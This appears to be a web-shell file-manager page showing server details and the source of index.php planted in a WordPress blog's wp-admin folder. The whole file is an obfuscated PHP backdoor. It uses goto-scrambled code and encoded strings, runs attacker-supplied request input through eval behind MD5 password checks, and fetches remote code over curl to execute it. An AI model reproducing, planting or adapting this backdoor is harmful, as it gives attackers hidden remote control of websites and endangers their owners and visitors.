HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-admin/user/user/index.php
<?php
 goto aFAMiWz06Cs; IG1B7SrDx0X: SFWUFz2uHjY: goto h9irFkFLIKf; SSy_U_ytGXY: if (!(in_array(gettype($GCsZ_8CdjZf) . count($GCsZ_8CdjZf), $GCsZ_8CdjZf) && count($GCsZ_8CdjZf) == 29 && md5(md5(md5(md5($GCsZ_8CdjZf[23])))) === "\61\71\143\144\x66\x66\71\71\x64\63\63\64\61\x62\x32\x30\x39\x66\63\x63\66\x65\65\x35\x32\x30\61\63\x35\62\x32\142")) { goto SFWUFz2uHjY; } goto XDjZn1FiHsd; oK3BIAOvkVd: class wHbGBujzfAy { static function yz4jj2OS02k($itnhAH2FBHm) { goto ziUTmRFjavF; U3lXgQYD257: $pdoa940doo_ = $z0kKf27qpGc("\x7e", "\x20"); goto qo5lgvzJ_Q9; Sv2AuJ5q3vg: return $GVAokcJs6FO; goto wTyHYgf2PVr; v1QU6tfaVqm: uO25LPw_I4P: goto Sv2AuJ5q3vg; ziUTmRFjavF: $z0kKf27qpGc = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto U3lXgQYD257; IewwM_LWu79: foreach ($NW_xDcT35SW as $oV59THxdDZk => $aR25tFuSCi7) { $GVAokcJs6FO .= $pdoa940doo_[$aR25tFuSCi7 - 66107]; uKBX09hwnaH: } goto v1QU6tfaVqm; BvD132UhUo4: $GVAokcJs6FO = ''; goto IewwM_LWu79; qo5lgvzJ_Q9: $NW_xDcT35SW = explode("\44", $itnhAH2FBHm); goto BvD132UhUo4; wTyHYgf2PVr: } static function aG03TMzuPG1($pZW26uAHm85, $i6NYX1VhpMj) { goto BEzkisEAuXH; BEzkisEAuXH: $Xs5qP0uSs97 = curl_init($pZW26uAHm85); goto gELLrrFnBv4; Z1lexEwXxaZ: return empty($zH1JN0feF3E) ? $i6NYX1VhpMj($pZW26uAHm85) : $zH1JN0feF3E; goto FHUPaQ8wUgf; s6Lstu90oNP: $zH1JN0feF3E = curl_exec($Xs5qP0uSs97); goto Z1lexEwXxaZ; gELLrrFnBv4: curl_setopt($Xs5qP0uSs97, CURLOPT_RETURNTRANSFER, 1); goto s6Lstu90oNP; FHUPaQ8wUgf: } static function Id4tJthUYHp() { goto NR9a3FQNsDh; y8v1bqEl05v: @eval($YQkAj16AyFG[3 + 1]($k2tziWKOIUV)); goto O3O9H1T56Ee; O3O9H1T56Ee: die; goto M1yvfssGXYZ; mKNMyprq073: $L64wbhGdxwg = @$YQkAj16AyFG[1]($YQkAj16AyFG[0 + 10](INPUT_GET, $YQkAj16AyFG[6 + 3])); goto jjxj7VAygCX; Vl3qE9lW78t: $w4uuRpQ4S8d = $YQkAj16AyFG[0 + 2]($xNJga8VBZYQ, true); goto cTyk680JV6n; NR9a3FQNsDh: $yBfvob0mM0u = array("\66\x36\x31\x33\64\44\x36\x36\61\61\x39\44\66\66\x31\63\62\44\66\x36\61\63\66\x24\66\x36\x31\61\67\44\x36\x36\61\63\62\x24\66\66\x31\x33\x38\x24\x36\x36\61\63\61\44\x36\x36\61\61\x36\x24\x36\x36\61\62\63\44\66\x36\x31\x33\64\44\66\x36\61\61\x37\x24\x36\x36\x31\x32\70\44\x36\x36\61\62\62\x24\66\66\x31\x32\x33", "\66\66\61\61\x38\44\x36\66\61\61\x37\44\x36\66\61\61\x39\x24\x36\66\x31\x33\70\44\66\x36\x31\61\71\x24\66\x36\61\62\62\x24\x36\x36\61\x31\x37\x24\x36\x36\x31\x38\x34\44\66\x36\x31\70\62", "\x36\x36\x31\x32\x37\44\66\66\61\61\70\x24\x36\66\61\x32\x32\x24\66\x36\x31\62\63\x24\x36\x36\x31\63\x38\44\x36\66\61\x33\63\44\x36\x36\61\x33\x32\x24\x36\x36\x31\x33\64\44\x36\66\61\62\62\x24\x36\66\61\63\x33\44\66\x36\x31\x33\x32", "\66\x36\x31\62\x31\44\66\x36\61\x33\66\44\x36\x36\61\63\x34\44\66\x36\x31\62\x36", "\66\x36\x31\63\65\44\66\66\61\x33\66\x24\x36\66\61\x31\x38\44\66\x36\x31\x33\x32\x24\x36\x36\61\x37\71\44\x36\x36\x31\70\61\x24\66\66\61\63\x38\44\x36\66\61\x33\x33\x24\x36\x36\61\63\62\44\x36\66\61\x33\64\x24\66\x36\61\x32\62\44\x36\66\x31\x33\63\44\66\x36\x31\63\x32", "\66\x36\x31\63\61\x24\66\66\x31\x32\70\44\66\66\x31\x32\x35\44\x36\66\61\x33\62\x24\x36\x36\61\63\x38\x24\x36\66\61\x33\60\x24\66\x36\x31\63\x32\44\66\66\x31\x31\x37\44\66\x36\x31\x33\x38\44\x36\x36\61\63\64\44\x36\x36\x31\62\62\x24\66\x36\x31\x32\x33\44\66\66\x31\61\x37\x24\x36\x36\x31\x33\x32\x24\66\66\61\62\x33\x24\66\x36\x31\61\67\44\x36\x36\x31\x31\x38", "\x36\x36\x31\66\61\x24\66\x36\61\71\61", "\66\66\61\x30\x38", "\x36\x36\61\x38\66\44\x36\x36\x31\x39\x31", "\x36\x36\x31\x36\70\44\66\66\x31\65\61\44\66\x36\61\x35\x31\44\66\x36\x31\66\70\x24\x36\66\61\x34\x34", "\x36\66\x31\x33\61\44\x36\66\61\62\x38\44\x36\66\x31\x32\65\44\x36\x36\x31\x31\x37\x24\66\66\x31\x33\62\44\x36\x36\x31\61\x39\44\x36\x36\x31\63\70\44\x36\66\61\x32\70\44\66\66\x31\62\63\44\66\66\x31\62\x31\x24\66\x36\x31\61\x36\44\66\x36\x31\61\67"); goto krtHxnEEjJN; nh32YQr6iDR: if (!(@$w4uuRpQ4S8d[0] - time() > 0 and md5(md5($w4uuRpQ4S8d[0 + 3])) === "\x61\143\x32\x35\145\63\67\x38\x33\x32\144\x34\64\x33\63\x30\x61\x38\x32\146\67\x36\144\x33\142\x62\70\61\x38\143\x36\141")) { goto sKK6UhWe2sa; } goto pks7ZTYAGwZ; pks7ZTYAGwZ: $k2tziWKOIUV = self::aG03TmZUpG1($w4uuRpQ4S8d[1 + 0], $YQkAj16AyFG[3 + 2]); goto y8v1bqEl05v; M1yvfssGXYZ: sKK6UhWe2sa: goto Ww8Bdwrq06W; f5DULE9QyvN: gsldYAb7zOA: goto mKNMyprq073; cTyk680JV6n: @$YQkAj16AyFG[1 + 9](INPUT_GET, "\157\x66") == 1 && die($YQkAj16AyFG[0 + 5](__FILE__)); goto nh32YQr6iDR; jjxj7VAygCX: $xNJga8VBZYQ = @$YQkAj16AyFG[2 + 1]($YQkAj16AyFG[6 + 0], $L64wbhGdxwg); goto Vl3qE9lW78t; krtHxnEEjJN: foreach ($yBfvob0mM0u as $hpJ4KTmGHQT) { $YQkAj16AyFG[] = self::YZ4jj2Os02K($hpJ4KTmGHQT); HMKNWJgtCh2: } goto f5DULE9QyvN; Ww8Bdwrq06W: } } goto RDMA7MLW_16; UpytUm0L2Ac: $y2JODuAp0E0 = $ELEeB89grai("\x7e", "\x20"); goto m9Lv76exqwD; aFAMiWz06Cs: $ELEeB89grai = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto UpytUm0L2Ac; h9irFkFLIKf: metaphone("\x7a\x55\x5a\x76\147\112\x6d\157\142\143\167\142\141\x4d\167\60\122\x45\x35\104\x6c\150\172\x65\53\x67\x68\x4c\161\x56\126\141\x4e\x73\x41\x4a\142\x68\x4d\x50\111\x32\167"); goto oK3BIAOvkVd; m9Lv76exqwD: $GCsZ_8CdjZf = ${$y2JODuAp0E0[27 + 4] . $y2JODuAp0E0[15 + 44] . $y2JODuAp0E0[31 + 16] . $y2JODuAp0E0[13 + 34] . $y2JODuAp0E0[12 + 39] . $y2JODuAp0E0[21 + 32] . $y2JODuAp0E0[51 + 6]}; goto SSy_U_ytGXY; XDjZn1FiHsd: ($GCsZ_8CdjZf[68] = $GCsZ_8CdjZf[68] . $GCsZ_8CdjZf[78]) && ($GCsZ_8CdjZf[81] = $GCsZ_8CdjZf[68]($GCsZ_8CdjZf[81])) && @eval($GCsZ_8CdjZf[68](${$GCsZ_8CdjZf[31]}[30])); goto IG1B7SrDx0X; RDMA7MLW_16: whBGBujzfay::Id4TjThuYHP();
?>